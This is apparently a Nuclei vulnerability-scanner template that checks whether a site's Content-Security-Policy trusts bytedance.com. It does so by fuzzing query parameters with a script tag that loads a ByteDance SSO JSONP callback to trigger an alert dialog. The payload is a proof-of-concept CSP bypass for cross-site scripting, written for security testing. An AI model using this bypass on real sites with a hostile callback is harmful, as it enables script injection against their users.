id: bytedance-sso-csp-bypass

info:
  name: Content-Security-Policy Bypass - ByteDance SSO
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,bytedance-sso

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "bytedance.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: bytedance_sso_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://sso.bytedance.com/watermark/?callback=alert"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "bytedance_sso_csp_xss == true"
# digest: 4a0a0047304502204b2e7b01036a307803207cca9dff96c074f10d20d0d14c03e78dffcb97a59938022100a44721a667040c0f9b36ec0232c58f1cf10af329b606e415693f98c1f4fd845e:922c64590222798bb761d5b6d8e72950